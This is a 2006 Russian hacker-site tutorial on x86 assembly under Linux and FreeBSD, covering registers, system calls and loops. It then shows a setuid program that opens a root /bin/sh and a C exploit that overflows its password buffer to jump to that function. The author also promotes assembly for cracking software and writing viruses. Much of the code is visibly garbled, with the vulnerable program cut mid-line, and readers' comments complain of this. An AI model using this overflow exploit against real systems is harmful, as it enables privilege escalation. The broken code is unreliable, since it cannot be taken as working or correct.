Пишем на ассемблере в UNIX-like ОС — HackZona.Ru

Пишем на ассемблере в UNIX-like ОС

Пишем на ассемблере в UNIX-like ОС

Тип статьи:
Со старой ХакЗоны.
Источник:
Hello

В этой очередной, (но не последней) статье по асму, я попытаюсь донести до вас суть этого могучего и великого языка, изучение которого так всех пугает. Конечно, ты можешь сказать, «кому нужен ассемблер в век гигагерцовых процессоров и нереальных размеров жестких дисков?». Первое, что приходит на ум — дизассемблирование, запрещенное уже в ряде стран, и карающееся, по всем законам. Это мощное оружие в руках хакера, против зажравшихся магнатов ПО, которые требуют свои $ за криво написанный софт. С этим положим нужно бороться ©!

Второе — вирусы. Их код должен быть оптимизирован и быстр по максимуму, вирус объемом в несколько мегабайт — это несерьезно. Так что писать вирус на том же Си, даже очень накладно, но об этом дальше по тексту.

Я, конечно, надеюсь, что твои знания не равны полному нулю, иначе смело закрывай статью. Если ты все-таки помнишь что-то из школьной программы про Паскаль, и может, даже пробовал читать эксплойты на Си и долго бился головой об клавиатуру, ругая авторов чудо-эксплойта remote-root_freebsd_6.0 =). Который возможно даже работает! но собран «заведомо неверно», или же из-за нехватки знаний или времени автора эксплойта не был доведен до ума, а поскорей был выложен на секлаб, с гордой припиской своего ника. Ну и как ты, наверное, уже понял без знания Си и тем более асма, тебе в него лучше даже не заглядывать.

Так вот, зачем мы тут сегодня собрались? ах ну да… продолжим. Что тебе понадобиться для правильного понимания всего ниже изложенного: небольшой опыт программирования на Си, понимания основ ассемблера пускай даже под win32, и подопытный стенд (то есть твой домашний ПК) с установленным на нем каким либо *nix'ом, желательно Linux, еще желательней *BSD =), потому, как, и во всех моих предыдущих статьях, мучить, мы будим именно *nix.

И так, начнем!

Ассемблером называется машинно-зависимый компилятор, преобразующий составленный код в машинные инструкции. И в отличие от языков высокого уровня дает возможность программировать на уровне отдельных машинных инструкций. Это главное отличие ассемблера от остальных языков высокого уровня и в этом сосредоточены все его достоинства и недостатки. Основное достоинство заключается в том, что программируя на ассемблере, обычно выбирают последовательность машинных инструкций так, чтобы реализовать нужные вычисления с максимальной скоростью и минимальными затратами ресурсов, в то время как компилятор того же Си, неизбежно вносит в машинный код некоторую избыточность, уменьшающую скорость счета и увеличивающую затраты памяти. С другой стороны программирование на чистом ассемблере довольно хлопотное дело и не может, сравнится со скоростью разработок, на том же Си — и это его главный недостаток.

Пожалуй, процессор — один из элементов ПК, которые быстрее всего усовершенствуются из года в год. За прошедшие 20 лет процессоры претерпели просто потрясающие изменения, страшно даже представить, какими они будут лет эдак через 10 — 500GHz, не иначе.

Чип 8086 был создан в 1978 году, имел частоты 4.77, 8 и 10MHz (частота современных калькуляторов). Изготавливался по 3 мкм технологии и имел внутренний 16 битный дизайн.

Чуть позже, в том же 1978 году был разработан 8088, который имел те же частоты, что и 8086. Использовался в ранних системах IBM PC. Отличался от 8086 только взаимодействием с памятью, он мог обмениваться с памятью, как байтами, так и 16-ти разрядными словами.

80286
Объявлен в 1982 году. Имел частоты 6, 8, 10 и 12MHz, производился по 1.5 мкм техпроцессу и содержал около 130000 транзисторов. Данный чип имел полную 16 битную поддержку. Также с его появлением появилось такое понятие, как protected mode. Производительность чипа по сравнению с 8086 увеличилась в несколько раз (0.99-2.6 млн. операций в секунду). В защищенном режиме, процессор мог адресовать памяти до 16 Мбайт

80386
Первый 32-разрядный процессор появился в 1985 году. Как следствие расширилась адресация до 4 Гбайт памяти.

80486 — аналог 80386. С этой модели математический сопроцессор — встроен. Появилась кэш память и конвейеры.

Думаю на этом можно остановиться, так как этих знаний вполне хватит, для изучения дальнейшего материала.

Основной принципы работы системы состоит в выборе команд из памяти и их дальнейшей обработки. Выборкой в цикле управляет один из регистров процессора. Этот регистр называется счетчиком программы. То место в памяти, на которое указывает регистр, содержит следующую команду, которую должен выбрать процессор. Регистр — это часть процессора, предназначенная для сохранения данных. К данным из регистров процессор получает доступ очень быстро — намного быстрее, чем к памяти.

Давайте коротко рассмотрим основные регистры процессора. EAX, EBX, ECX, EDX: регистры общего назначения, используются для временного хранения данных. Буква «E» перед регистром, означает «расширенный» аналог 16-битной версии регистра AX, архитектуры процессора ниже 386.
_________________________________
| |______AX________|
EAX: |________________|___AH__|___AL___|
31-бит 15-бит 7-бит 0-бит

AX — половина 32-битного регистра EAX. AH и AL 8-битные части регистра AX.

Сегментные регистры.
Внутри программы все адреса памяти относительны к началу сегмента. Такие адреса называются, смещение от начала сегмента.

Существование сегментных регистров обусловлено, архитектурой x86 и использование оперативной памяти. Она заключается в том, что процессор аппаратно поддерживает структурную организацию программы в трех частях, называемых сегментами.

Казалось бы, для передачи процессору адреса байта оперативной памяти, достаточно записать в регистр процессора его номер. В 16-ти разрядных процессорах в регистр можно записать 65535 или 64 Кбайта и получить доступ только к 64 Кбайтам оперативной памяти! Решение проблемы нашли с помощью сегментации.

Обращение к памяти осуществляется с помощью сегментации — логических образований накладываемых на те или иные участки памяти.

1. Сегмент кода. Содержит машинные команды, которые будут исполняться (грубо говоря, код запущенной программы). Регистр CS — содержит адрес сегмента с машинными командами. Регистр EIP — содержит смещение следующей подлежащей выполнению команды относительно содержимого сегментного регистра CS.
2. Cегмент данных. Содержит определенные данные: константы и рабочие области! Адресуется с помощью регистра сегмента DS.
3. Сегмент стека. Представляет область данных называющихся стеком. Адресуется с помощью регистра сегмента SS.

Рассмотри подробнее организацию памяти — стек!
Часть памяти, выделяемой программе системой, резервируется под стек. Регистр ESP — указатель вершины стека, в котором хранится адрес текущей вершины стека.

Пример:

В стеке лежит три целых числа, 40, 31 и 85, представление целого числа в памяти занимает 4 байта.

___
| 40 |
|___|

int main(int argc, char* argv[]) {
write(1,«blaban»,6); // системный вызов write! (печать в поток 1 — STDOUT)
return 0;
}

К системе можно обратится и на ассемблере. Только выглядеть это будет немного посложней. И соответсвенно для каждой ОС поразному.

Ах, чуть не забыл, мы не будет выводить эту тошнотворную строку «Hello World», а распечатаем великолепную фразу «abulabaobadusht», одного моего хорошего друга, большого любителя пингвинчиков, который, узнав, что его речь попадет в статью, решил остаться неизвестным, т.к. боится славы и популярности, поэтому назовем его S, с большой буквы, ибо S… личность!

Так вот, вернемся к нашим пингвинам… В linux это будет выглядеть так:

.globl _start

.data
msg: .string «abulabaobadushtn» # фраза S )
len = .-msg # длина фразы S
.text
_start:
movl $4, %eax # вызов write
movl $1, %ebx # числовое обозначение STDOUT (вывод на консоль)
movl $msg, %ecx # адрес строки в стек
movl $len, %edx # длину строки в стек
call syscall

movl $1, %eax # вызов exit, завершаем работу
call syscall
syscall:
int $0x80
ret

Самое главное правильно собрать программу)

Для этого будем использовать транслятор «as» и линкер «ld».
Сохраняем вышеизложенный код в файл prog.s и запускаем:

[email protected]$ as prog.s -o prog.o

AS создает только объектный файл, для полноценной работы нужен линковщик, ld

[email protected]$ prog.o -o prog

Который создает бинарник из объектного файла, созданного as

В случае с BSD, номер системного вызова опять же помещается в EAX, а аргументы кладутся в стек:

.globl _start
.data
msg: .string «abulabaobadushtn» # фраза S )
len = .-msg # длина фразы S
.text
_start:
movl $4, %eax # вызов write
pushl $len # длину строки в стек
pushl $msg # адрес строки в стек
pushl $1 # числовое обозначение STDOUT (вывод на консоль)
call syscall # вызываем функцию syscall

movl $1, %eax # вызов exit, завершаем работу
call syscall
syscall:
int $0x80
ret

Помимо обращения к ядру системы существует более «высокоуровневый способ», библиотека языка Си(Libc), допустим на Си: puts(message);

на ассемблере в linux :

pushl $message #адрес строки в стек

call puts # вызов

В BSD перед именем функции необходимо поставить подчеркивание.

Несмотря на видимое удобство использовать библиотеку libc в асме не рекомендуется. И вы сами это заметите в дальнейшем после того как какае-то фенкция из Си вернет вам структуру, с которой в асме работать не так уж и просто.

Для сборки ассемблерных программ использующих библиотеку libc, достаточно выполнить команду:

[email protected]$ gcc prog.s -o prog

Самое главное, обратите внимание на размер готового бинарника:

-rwxr-xr-x 1 skex86ns skex86ns 764 16 май 19:03 prog

К примеру, программа на Си выполняющая те же действия будет занимать гораздо больше:

-rwxr-xr-x 1 skex86ns skex86ns 4881 16 май 19:06 prog

неплохо, правда? =)

Теперь подробно разберем вышеизложенные примеры.

В первой строке при помощи директивы .globl сообщаем, что метка _start является глобальной. Метка _start должна присутствовать всегда, именно с этого места начинается выполнение кода, если же не сделать ее глобальной, линкер просто не увидит ее.
Далее директивой .data объявляем начало секции данных, в которой находятся все статические данные.

В этой секции у нас находиться в msg адрес уже легендарной строки «abulabaobadusht». Константа len содержит длину строки msg, полученную путем вычитания адреса начала строки msg из текущего адреса "." Далее в секции кода .text, помещаем в EAX номер системного вызова write, и в случае с BSD помещаем в стек аргументы вызова.
Номера всех системных вызовах ты можешь найти в файлах /usr/include/asm/unistd.h в Linux и /usr/include/sys/syscall.h для BSD.

И далее вызываем функцию syscall которое содержит прерывание под номером 0x80. Следом за этим помещаем в EAX номер системного вызова exit, тем самым завершаем программу.

В примере мы использовали новый термин прерывание, что же это такое?

Прерывание сигнализирует о необходимости «прервать» текущее действие процессора. Допустим ввод с клавиатуры любой клавиши передается процессору по прерыванию. Иначе процессор обязан постоянно циклический проверять состояние клавиатуры и обрабатывать данные, которые поступили с нее. Прерывание избавляет процессор от этого.

Прерывания во многом похожи на выполнение процедуры, они не имеют право остановить выполнение текущей команды, но, дождавшись окончания выполнения, исполняются сами. Адрес следующей команды загружается в стек, и происходит обработка прерывания. После обработки процессор возвращает из стека адрес следующей операции и продолжает дальнейшие выполнение задачи. Существует большое количество видов прерывания, мы использовали 0x80, что соответствует посылке запроса к ядру системы и обработки вызова (системного вызова).

Теперь давайте напишем пример такого важного элемента программирования как цикл.

Писать далее по тексту я буду примеры под FreeBSD, я ничего не имею против владельцев Linux, но в связи с тем, что у меня установлена FreeBSD, писать я буду под не. Любопытный читатель заметит, «как же так? почему Линукс и БСД несовместимы друг с другом??» На самом деле, только Линукс несовместим со всеми остальными *nix'ами. Linux — был написан Линусом, который почемуто не заглядывал в стандарты POSIX (или глюбоко чихал на них). Думаю, что примера выше вам вполне достаточно, чтобы переписать их под Linux.

.globl _start

.data
msg: .string "[+]n"
len = .-msg
.text
_start:
movl $0, %ebx # шаг цикла
begin:
cmpl $6, %ebx # сверяем значение регистра ebx с 6
jne loop # ebx6 прыгаем на loop
jmp exit # ebx=6 переходим на exit
loop:
incl %ebx # увеличиваем значение ebx на +1
movl $4, %eax
pushl $len
pushl $msg
pushl $1
call syscall
jmp begin # переходим на начало
exit: # завершаем работу
movl $1, %eax
call syscall
syscall:
int $0x80
ret

Мы коснулись интересного момента программирования, условного оператора, так как стандартного if в ассемблере вы не найдете, приходиться использовать команду CMP. Данная команда используется для сравнения двух операндов методом вычитания, при этом операнды не изменяются. По результатам выполнения команды устанавливаются флаги. Ниже используем команду условного перехода Jxx, которая ориентируется на выставленные флаги командой cmp.

Je (Jump if Equal) перейти, если операнды равны

JNE (Jump if Not Equal) перейти, если не равны

И также команда безусловного перехода jmp, которая выполняет переход на указанную метку без какого либо условия (аналог goto в языках высокого уровня).

Команда inc используется для увеличения значения байта, слова, двойного слова в памяти или регистре на единицу.

Запуская программу мы по идее должны увидеть:

[email protected]$ ./prog

[+]
[+]
[+]
[+]
[+]
[+]

Что соответствует тому, что код метки loop, выполнился 6 раз!

Отлично, с основами мы разобрались, теперь вы спросите, что нам еще может дать асм?

Рассмотрим следующий код, который после проверки введенного пароля должен выдовать /bin/sh (root):

#include
#include
#include
#include

void admin(void) { // процедура выдает консоль управления
printf("[+] hello adminn");
setuid(0);
setgid(0);
system("/bin/sh");
}

int main(int argc, char* argv[]) {
char passwd[16]={0};
char *hash;
if (argc: push %ebp
0x080486b1: mov %esp,%ebp
0x080486b3: push %edi

0x0804873f: add $0x10,%esp
0x08048742: test %eax,%eax
0x0804874d: sub $0xc,%esp
0x08048750: push $0x8048801
0x08048744: jne 0x804874d
0x08048746: call 0x804866c
0x0804874b: jmp 0x804875d

0x0804875d: mov $0x0,%eax
0x08048762: mov 0xfffffffc(%ebp),%edi
0x08048765: leave
0x08048766: ret
0x08048767: nop
End of assembler dump.
(gdb)


Обращаем внимание на строку: call 0x804866c

А вот и адрес — 0x804866c необходимой нам функции, который мы можем расположить на символы строки переполнивший буфер.

Теперь без проблем собираем код который передает необходимый нам адрес в программу:

#include
#include
#include
#include

int main(int argc, char *argv[]) {

char execshell[]=«x6cx86x04x08x00»; // адрес искомой функции в обратном порядке
//с null байтом на конце
int i;
char *buff = NULL;
char *ptr = NULL;

buff = malloc(33); // выделяем память под буфер

ptr = buff;

for (i=0; i<28; i++) *(ptr++)=0x21; // нопим буфер до 28 символа, значением "!"
for (i=0; i<5; i++) *(ptr++)=execshell[i]; // записываем адрес функции admin

//printf("%sn", buff);

execl("./prog", «prog», buff, NULL);
return 0;
}

Но это неинтересно, обстоятельства могут быть иными, когда функция admin отсутствует или не дает нам необходимых привилегий.

Что же мы можем еще выжать из этого, что нужно сделать? Подумать!

Ведь мы можем вызвать практически любой адрес программы. Но мы же можем не только читать данные, но еще и записывать в код, переменную passwd!

Мы можем положить в буфер необходимую нам функцию, и вызвать её же из программы. Функцию, которую мы помещаем в буфер, для последующего вызова, называется shell-код. Для его вызова достаточно в момент сбоя, пролистнуть дамп-дизассемблирования, найти расположение начала буфера под passwd, который и нужно будет указывать в качестве возврата. Но и тут не всё так просто, во-первых, при написании кода мы должны уложиться в отведенный для нас буфер, да еще и на конце расположить адрес, для его вызова. Также Исключить null байты, иначе функция scanf остановит свой ввод.

К сожалению, подробное описание проблемы и техника написания шеллкодов, выведет статью за рамки приличного и уклонит нас от темы. В которой я хотел всего лишь привить вам любовь к этому языку, и убедить, что его использование необходимо даже в век технологий типа .Net. Конечно, процесс обучения не будет настолько гладок и приятен, как в языках высокого уровня, но результат вас приятно удивит )

SKEx86ns
8.06.2006
первоисточник: ellsec.org
Нравится
Не нравится

3 комментария

11:29
v3r4L3x, либо удали статью либо отредактируй содержание, основная часть кода уничтожена "отличным" движком портала, в таком виде теряется весь смысл содержания
23:20
Да статейка вродебы не чего а вот арфография страдает...
20:06
Народ может всё таки выложите без ошибок статейку!Плиз....